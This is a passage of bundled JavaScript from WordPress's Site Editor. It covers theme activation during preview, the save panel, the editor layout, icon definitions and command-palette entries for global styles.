  useLocation: use_activate_theme_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);

/**
 * This should be refactored to use the REST API, once the REST API can activate themes.
 *
 * @return {Function} A function that activates the theme.
 */
function useActivateTheme() {
  const history = use_activate_theme_useHistory();
  const {
    path
  } = use_activate_theme_useLocation();
  const {
    startResolution,
    finishResolution
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  return async () => {
    if (isPreviewingTheme()) {
      const activationURL = 'themes.php?action=activate&stylesheet=' + currentlyPreviewingTheme() + '&_wpnonce=' + window.WP_BLOCK_THEME_ACTIVATE_NONCE;
      startResolution('activateTheme');
      await window.fetch(activationURL);
      finishResolution('activateTheme');
      // Remove the wp_theme_preview query param: we've finished activating
      // the queue and are switching to normal Site Editor.
      history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
        wp_theme_preview: ''
      }));
    }
  };
}

;// external ["wp","apiFetch"]
const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
;// ./node_modules/@wordpress/edit-site/build-module/utils/use-actual-current-theme.js
/**
 * WordPress dependencies
 */



const ACTIVE_THEMES_URL = '/wp/v2/themes?status=active';
function useActualCurrentTheme() {
  const [currentTheme, setCurrentTheme] = (0,external_wp_element_namespaceObject.useState)();
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    // Set the `wp_theme_preview` to empty string to bypass the createThemePreviewMiddleware.
    const path = (0,external_wp_url_namespaceObject.addQueryArgs)(ACTIVE_THEMES_URL, {
      context: 'edit',
      wp_theme_preview: ''
    });
    external_wp_apiFetch_default()({
      path
    }).then(activeThemes => setCurrentTheme(activeThemes[0]))
    // Do nothing
    .catch(() => {});
  }, []);
  return currentTheme;
}

;// ./node_modules/@wordpress/edit-site/build-module/components/save-panel/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */






const {
  EntitiesSavedStatesExtensible,
  NavigableRegion
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
  useLocation: save_panel_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const EntitiesSavedStatesForPreview = ({
  onClose,
  renderDialog,
  variant
}) => {
  var _currentTheme$name$re, _previewingTheme$name;
  const isDirtyProps = (0,external_wp_editor_namespaceObject.useEntitiesSavedStatesIsDirty)();
  let activateSaveLabel;
  if (isDirtyProps.isDirty) {
    activateSaveLabel = (0,external_wp_i18n_namespaceObject.__)('Activate & Save');
  } else {
    activateSaveLabel = (0,external_wp_i18n_namespaceObject.__)('Activate');
  }
  const currentTheme = useActualCurrentTheme();
  const previewingTheme = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getCurrentTheme(), []);
  const additionalPrompt = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
    children: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: The name of active theme, 2: The name of theme to be activated. */
    (0,external_wp_i18n_namespaceObject.__)('Saving your changes will change your active theme from %1$s to %2$s.'), (_currentTheme$name$re = currentTheme?.name?.rendered) !== null && _currentTheme$name$re !== void 0 ? _currentTheme$name$re : '...', (_previewingTheme$name = previewingTheme?.name?.rendered) !== null && _previewingTheme$name !== void 0 ? _previewingTheme$name : '...')
  });
  const activateTheme = useActivateTheme();
  const onSave = async values => {
    await activateTheme();
    return values;
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EntitiesSavedStatesExtensible, {
    ...isDirtyProps,
    additionalPrompt,
    close: onClose,
    onSave,
    saveEnabled: true,
    saveLabel: activateSaveLabel,
    renderDialog,
    variant
  });
};
const _EntitiesSavedStates = ({
  onClose,
  renderDialog,
  variant
}) => {
  if (isPreviewingTheme()) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EntitiesSavedStatesForPreview, {
      onClose: onClose,
      renderDialog: renderDialog,
      variant: variant
    });
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EntitiesSavedStates, {
    close: onClose,
    renderDialog: renderDialog,
    variant: variant
  });
};
function SavePanel() {
  const {
    query
  } = save_panel_useLocation();
  const {
    canvas = 'view'
  } = query;
  const {
    isSaveViewOpen,
    isDirty,
    isSaving
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      __experimentalGetDirtyEntityRecords,
      isSavingEntityRecord,
      isResolving
    } = select(external_wp_coreData_namespaceObject.store);
    const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
    const isActivatingTheme = isResolving('activateTheme');
    const {
      isSaveViewOpened
    } = unlock(select(store));

    // The currently selected entity to display.
    // Typically template or template part in the site editor.
    return {
      isSaveViewOpen: isSaveViewOpened(),
      isDirty: dirtyEntityRecords.length > 0,
      isSaving: dirtyEntityRecords.some(record => isSavingEntityRecord(record.kind, record.name, record.key)) || isActivatingTheme
    };
  }, []);
  const {
    setIsSaveViewOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const onClose = () => setIsSaveViewOpened(false);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    setIsSaveViewOpened(false);
  }, [canvas, setIsSaveViewOpened]);
  if (canvas === 'view') {
    return isSaveViewOpen ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
      className: "edit-site-save-panel__modal",
      onRequestClose: onClose,
      title: (0,external_wp_i18n_namespaceObject.__)('Review changes'),
      size: "small",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(_EntitiesSavedStates, {
        onClose: onClose,
        variant: "inline"
      })
    }) : null;
  }
  const activateSaveEnabled = isPreviewingTheme() || isDirty;
  const disabled = isSaving || !activateSaveEnabled;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(NavigableRegion, {
    className: dist_clsx('edit-site-layout__actions', {
      'is-entity-save-view-open': isSaveViewOpen
    }),
    ariaLabel: (0,external_wp_i18n_namespaceObject.__)('Save panel'),
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: dist_clsx('edit-site-editor__toggle-save-panel', {
        'screen-reader-text': isSaveViewOpen
      }),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        __next40pxDefaultSize: true,
        variant: "secondary",
        className: "edit-site-editor__toggle-save-panel-button",
        onClick: () => setIsSaveViewOpened(true),
        "aria-haspopup": "dialog",
        disabled: disabled,
        accessibleWhenDisabled: true,
        children: (0,external_wp_i18n_namespaceObject.__)('Open save panel')
      })
    }), isSaveViewOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(_EntitiesSavedStates, {
      onClose: onClose,
      renderDialog: true
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/layout/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */














/**
 * Internal dependencies
 */










const {
  useCommands
} = unlock(external_wp_coreCommands_namespaceObject.privateApis);
const {
  useGlobalStyle: layout_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
  NavigableRegion: layout_NavigableRegion,
  GlobalStylesProvider
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
  useLocation: layout_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const layout_ANIMATION_DURATION = 0.3;
function Layout() {
  const {
    query,
    name: routeKey,
    areas,
    widths
  } = layout_useLocation();
  const {
    canvas = 'view'
  } = query;
  useCommands();
  const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
  const toggleRef = (0,external_wp_element_namespaceObject.useRef)();
  const navigateRegionsProps = (0,external_wp_components_namespaceObject.__unstableUseNavigateRegions)();
  const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
  const [canvasResizer, canvasSize] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
  const isEditorLoading = useIsSiteEditorLoading();
  const [isResizableFrameOversized, setIsResizableFrameOversized] = (0,external_wp_element_namespaceObject.useState)(false);
  const animationRef = animation({
    triggerAnimationOnChange: routeKey + '-' + canvas
  });
  const {
    showIconLabels
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return {
      showIconLabels: select(external_wp_preferences_namespaceObject.store).get('core', 'showIconLabels')
    };
  });
  const [backgroundColor] = layout_useGlobalStyle('color.background');
  const [gradientValue] = layout_useGlobalStyle('color.gradient');
  const previousCanvaMode = (0,external_wp_compose_namespaceObject.usePrevious)(canvas);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (previousCanvaMode === 'edit') {
      toggleRef.current?.focus();
    }
    // Should not depend on the previous canvas mode value but the next.
  }, [canvas]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.UnsavedChangesWarning, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_commands_namespaceObject.CommandMenu, {}), canvas === 'view' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SaveKeyboardShortcut, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      ...navigateRegionsProps,
      ref: navigateRegionsProps.ref,
      className: dist_clsx('edit-site-layout', navigateRegionsProps.className, {
        'is-full-canvas': canvas === 'edit',
        'show-icon-labels': showIconLabels
      }),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        className: "edit-site-layout__content",
        children: [(!isMobileViewport || !areas.mobile) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(layout_NavigableRegion, {
          ariaLabel: (0,external_wp_i18n_namespaceObject.__)('Navigation'),
          className: "edit-site-layout__sidebar-region",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, {
            children: canvas === 'view' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__unstableMotion.div, {
              initial: {
                opacity: 0
              },
              animate: {
                opacity: 1
              },
              exit: {
                opacity: 0
              },
              transition: {
                type: 'tween',
                duration:
                // Disable transition in mobile to emulate a full page transition.
                disableMotion || isMobileViewport ? 0 : layout_ANIMATION_DURATION,
                ease: 'easeOut'
              },
              className: "edit-site-layout__sidebar",
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(site_hub, {
                ref: toggleRef,
                isTransparent: isResizableFrameOversized
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationProvider, {
                children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarContent, {
                  shouldAnimate: routeKey !== 'styles',
                  routeKey: routeKey,
                  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, {
                    children: areas.sidebar
                  })
                })
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SaveHub, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SavePanel, {})]
            })
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EditorSnackbars, {}), isMobileViewport && areas.mobile && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: "edit-site-layout__mobile",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationProvider, {
            children: canvas !== 'edit' ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SiteHubMobile, {
                ref: toggleRef,
                isTransparent: isResizableFrameOversized
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarContent, {
                routeKey: routeKey,
                children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, {
                  children: areas.mobile
                })
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SaveHub, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SavePanel, {})]
            }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, {
              children: areas.mobile
            })
          })
        }), !isMobileViewport && areas.content && canvas !== 'edit' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: "edit-site-layout__area",
          style: {
            maxWidth: widths?.content
          },
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, {
            children: areas.content
          })
        }), !isMobileViewport && areas.edit && canvas !== 'edit' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: "edit-site-layout__area",
          style: {
            maxWidth: widths?.edit
          },
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, {
            children: areas.edit
          })
        }), !isMobileViewport && areas.preview && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
          className: "edit-site-layout__canvas-container",
          children: [canvasResizer, !!canvasSize.width && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
            className: dist_clsx('edit-site-layout__canvas', {
              'is-right-aligned': isResizableFrameOversized
            }),
            ref: animationRef,
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.ErrorBoundary, {
              children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(resizable_frame, {
                isReady: !isEditorLoading,
                isFullWidth: canvas === 'edit',
                defaultSize: {
                  width: canvasSize.width - 24 /* $canvas-padding */,
                  height: canvasSize.height
                },
                isOversized: isResizableFrameOversized,
                setIsOversized: setIsResizableFrameOversized,
                innerContentStyle: {
                  background: gradientValue !== null && gradientValue !== void 0 ? gradientValue : backgroundColor
                },
                children: areas.preview
              })
            })
          })]
        })]
      })
    })]
  });
}
function LayoutWithGlobalStylesProvider(props) {
  const {
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  function onPluginAreaError(name) {
    createErrorNotice((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: plugin name */
    (0,external_wp_i18n_namespaceObject.__)('The "%s" plugin has encountered an error and cannot be rendered.'), name));
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SlotFillProvider, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(GlobalStylesProvider, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_plugins_namespaceObject.PluginArea, {
        onError: onPluginAreaError
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Layout, {
        ...props
      })]
    })
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/styles.js
/**
 * WordPress dependencies
 */


const styles = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M20 12a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-1.5 0a6.5 6.5 0 0 1-6.5 6.5v-13a6.5 6.5 0 0 1 6.5 6.5Z"
  })
});
/* harmony default export */ const library_styles = (styles);

;// ./node_modules/@wordpress/icons/build-module/library/help.js
/**
 * WordPress dependencies
 */


const help = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M12 4.75a7.25 7.25 0 100 14.5 7.25 7.25 0 000-14.5zM3.25 12a8.75 8.75 0 1117.5 0 8.75 8.75 0 01-17.5 0zM12 8.75a1.5 1.5 0 01.167 2.99c-.465.052-.917.44-.917 1.01V14h1.5v-.845A3 3 0 109 10.25h1.5a1.5 1.5 0 011.5-1.5zM11.25 15v1.5h1.5V15h-1.5z"
  })
});
/* harmony default export */ const library_help = (help);

;// ./node_modules/@wordpress/icons/build-module/library/rotate-right.js
/**
 * WordPress dependencies
 */


const rotateRight = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z"
  })
});
/* harmony default export */ const rotate_right = (rotateRight);

;// ./node_modules/@wordpress/icons/build-module/library/rotate-left.js
/**
 * WordPress dependencies
 */


const rotateLeft = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M12 4V2.2L9 4.8l3 2.5V5.5c3.6 0 6.5 2.9 6.5 6.5 0 2.9-1.9 5.3-4.5 6.2v.2l-.1-.2c-.4.1-.7.2-1.1.2l.2 1.5c.3 0 .6-.1 1-.2 3.5-.9 6-4 6-7.7 0-4.4-3.6-8-8-8zm-7.9 7l1.5.2c.1-1.2.5-2.3 1.2-3.2l-1.1-.9C4.8 8.2 4.3 9.6 4.1 11zm1.5 1.8l-1.5.2c.1.7.3 1.4.5 2 .3.7.6 1.3 1 1.8l1.2-.8c-.3-.5-.6-1-.8-1.5s-.4-1.1-.4-1.7zm1.5 5.5c1.1.9 2.4 1.4 3.8 1.6l.2-1.5c-1.1-.1-2.2-.5-3.1-1.2l-.9 1.1z"
  })
});
/* harmony default export */ const rotate_left = (rotateLeft);

;// ./node_modules/@wordpress/icons/build-module/library/brush.js
/**
 * WordPress dependencies
 */


const brush = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M4 20h8v-1.5H4V20zM18.9 3.5c-.6-.6-1.5-.6-2.1 0l-7.2 7.2c-.4-.1-.7 0-1.1.1-.5.2-1.5.7-1.9 2.2-.4 1.7-.8 2.2-1.1 2.7-.1.1-.2.3-.3.4l-.6 1.1H6c2 0 3.4-.4 4.7-1.4.8-.6 1.2-1.4 1.3-2.3 0-.3 0-.5-.1-.7L19 5.7c.5-.6.5-1.6-.1-2.2zM9.7 14.7c-.7.5-1.5.8-2.4 1 .2-.5.5-1.2.8-2.3.2-.6.4-1 .8-1.1.5-.1 1 .1 1.3.3.2.2.3.5.2.8 0 .3-.1.9-.7 1.3z"
  })
});
/* harmony default export */ const library_brush = (brush);

;// ./node_modules/@wordpress/icons/build-module/library/backup.js
/**
 * WordPress dependencies
 */


const backup = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M5.5 12h1.75l-2.5 3-2.5-3H4a8 8 0 113.134 6.35l.907-1.194A6.5 6.5 0 105.5 12zm9.53 1.97l-2.28-2.28V8.5a.75.75 0 00-1.5 0V12a.747.747 0 00.218.529l1.282-.84-1.28.842 2.5 2.5a.75.75 0 101.06-1.061z"
  })
});
/* harmony default export */ const library_backup = (backup);

;// ./node_modules/@wordpress/icons/build-module/library/external.js
/**
 * WordPress dependencies
 */


const external = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z"
  })
});
/* harmony default export */ const library_external = (external);

;// ./node_modules/@wordpress/edit-site/build-module/hooks/commands/use-common-commands.js
/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */


const {
  useGlobalStylesReset
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
  useHistory: use_common_commands_useHistory,
  useLocation: use_common_commands_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const getGlobalStylesOpenStylesCommands = () => function useGlobalStylesOpenStylesCommands() {
  const {
    openGeneralSidebar
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
  const {
    params
  } = use_common_commands_useLocation();
  const {
    canvas = 'view'
  } = params;
  const history = use_common_commands_useHistory();
  const isBlockBasedTheme = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(external_wp_coreData_namespaceObject.store).getCurrentTheme().is_block_theme;
  }, []);
  const commands = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!isBlockBasedTheme) {
      return [];
    }
    return [{
      name: 'core/edit-site/open-styles',
      label: (0,external_wp_i18n_namespaceObject.__)('Open styles'),
      callback: ({
        close
      }) => {
        close();
        if (canvas !== 'edit') {
          history.navigate('/styles?canvas=edit', {
            transition: 'canvas-mode-edit-transition'
          });
        }
        openGeneralSidebar('edit-site/global-styles');
      },
      icon: library_styles
    }];
  }, [history, openGeneralSidebar, canvas, isBlockBasedTheme]);
  return {
    isLoading: false,
    commands
  };
};
const getGlobalStylesToggleWelcomeGuideCommands = () => function useGlobalStylesToggleWelcomeGuideCommands() {
  const {
    openGeneralSidebar
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
  const {
    params
  } = use_common_commands_useLocation();
  const {
    canvas = 'view'
  } = params;
  const {
    set
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
  const history = use_common_commands_useHistory();
  const isBlockBasedTheme = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(external_wp_coreData_namespaceObject.store).getCurrentTheme().is_block_theme;
  }, []);
  const commands = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!isBlockBasedTheme) {
      return [];
    }
    return [{
      name: 'core/edit-site/toggle-styles-welcome-guide',
      label: (0,external_wp_i18n_namespaceObject.__)('Learn about styles'),
      callback: ({
        close
      }) => {
        close();
        if (canvas !== 'edit') {
          history.navigate('/styles?canvas=edit', {
            transition: 'canvas-mode-edit-transition'
          });
        }
        openGeneralSidebar('edit-site/global-styles');
        set('core/edit-site', 'welcomeGuideStyles', true);
        // sometimes there's a focus loss that happens after some time
        // that closes the modal, we need to force reopening it.
        setTimeout(() => {
          set('core/edit-site', 'welcomeGuideStyles', true);
        }, 500);
      },
      icon: library_help
    }];
  }, [history, openGeneralSidebar, canvas, isBlockBasedTheme, set]);
  return {
    isLoading: false,
    commands
  };
};
const getGlobalStylesResetCommands = () => function useGlobalStylesResetCommands() {
  const [canReset, onReset] = useGlobalStylesReset();
  const commands = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!canReset) {
      return [];
    }
    return [{
      name: 'core/edit-site/reset-global-styles',
      label: (0,external_wp_i18n_namespaceObject.__)('Reset styles'),
      icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? rotate_right : rotate_left,
      callback: ({
        close
      }) => {
        close();
        onReset();
      }
    }];
  }, [canReset, onReset]);
  return {
    isLoading: false,
    commands
  };
};
const getGlobalStylesOpenCssCommands = () => function useGlobalStylesOpenCssCommands() {
  const {
    openGeneralSidebar,
    setEditorCanvasContainerView
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
  const {
    params
  } = use_common_commands_useLocation();
  const {
    canvas = 'view'
  } = params;
  const history = use_common_commands_useHistory();
  const {
    canEditCSS
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      __experimentalGetCurrentGlobalStylesId
    } = select(external_wp_coreData_namespaceObject.store);
    const globalStylesId = __experimentalGetCurrentGlobalStylesId();
    const globalStyles = globalStylesId ? getEntityRecord('root', 'globalStyles', globalStylesId) : undefined;
    return {
      canEditCSS: !!globalStyles?._links?.['wp:action-edit-css']
    };
  }, []);
  const commands = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!canEditCSS) {
      return [];
    }
    return [{
      name: 'core/edit-site/open-styles-css',
      label: (0,external_wp_i18n_namespaceObject.__)('Customize CSS'),
      icon: library_brush,
      callback: ({
        close
      }) => {
        close();
        if (canvas !== 'edit') {
          history.navigate('/styles?canvas=edit', {
            transition: 'canvas-mode-edit-transition'
          });
        }
        openGeneralSidebar('edit-site/global-styles');
        setEditorCanvasContainerView('global-styles-css');
      }
    }];
  }, [history, openGeneralSidebar, setEditorCanvasContainerView, canEditCSS, canvas]);
  return {
    isLoading: false,
    commands
  };
};
const getGlobalStylesOpenRevisionsCommands = () => function useGlobalStylesOpenRevisionsCommands() {
  const {
    openGeneralSidebar,
    setEditorCanvasContainerView
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
  const {
    params
  } = use_common_commands_useLocation();
  const {
    canvas = 'view'
  } = params;
  const history = use_common_commands_useHistory();
  const hasRevisions = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      __experimentalGetCurrentGlobalStylesId
    } = select(external_wp_coreData_namespaceObject.store);
    const globalStylesId = __experimentalGetCurrentGlobalStylesId();
    const globalStyles = globalStylesId ? getEntityRecord('root', 'globalStyles', globalStylesId) : undefined;
    return !!globalStyles?._links?.['version-history']?.[0]?.count;
  }, []);
  const commands = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!hasRevisions) {
      return [];
    }
    return [{
      name: 'core/edit-site/open-global-styles-revisions',
      label: (0,external_wp_i18n_namespaceObject.__)('Style revisions'),
      icon: library_backup,
      callback: ({
        close
      }) => {
        close();
        if (canvas !== 'edit') {
          history.navigate('/styles?canvas=edit', {
            transition: 'canvas-mode-edit-transition'
          });
        }
        openGeneralSidebar('edit-site/global-styles');
        setEditorCanvasContainerView('global-styles-revisions');
      }
    }];
  }, [hasRevisions, history, openGeneralSidebar, setEditorCanvasContainerView, canvas]);
  return {
    isLoading: false,
    commands
  };
};
function useCommonCommands() {
  const homeUrl = (0,external_wp_data_namespaceObject.useSelect)(select => {
    // Site index.
    return select(external_wp_coreData_namespaceObject.store).getEntityRecord('root', '__unstableBase')?.home;
  }, []);
  (0,external_wp_commands_namespaceObject.useCommand)({
    name: 'core/edit-site/view-site',
    label: (0,external_wp_i18n_namespaceObject.__)('View site'),
    callback: ({
      close
    }) => {
      close();
      window.open(homeUrl, '_blank');
    },
    icon: library_external
  });
  (0,external_wp_commands_namespaceObject.useCommandLoader)({
    name: 'core/edit-site/open-styles',
    hook: getGlobalStylesOpenStylesCommands()
  });
  (0,external_wp_commands_namespaceObject.useCommandLoader)({
    name: 'core/edit-site/toggle-styles-welcome-guide',
    hook: getGlobalStylesToggleWelcomeGuideCommands()
  });
  (0,external_wp_commands_namespaceObject.useCommandLoader)({
    name: 'core/edit-site/reset-global-styles',
    hook: getGlobalStylesResetCommands()
  });
  (0,external_wp_commands_namespaceObject.useCommandLoader)({
    name: 'core/edit-site/open-styles-css',
    hook: getGlobalStylesOpenCssCommands()
  });
  (0,external_wp_commands_namespaceObject.useCommandLoader)({
    name: 'core/edit-site/open-styles-revisions',
    hook: getGlobalStylesOpenRevisionsCommands()
  });
}

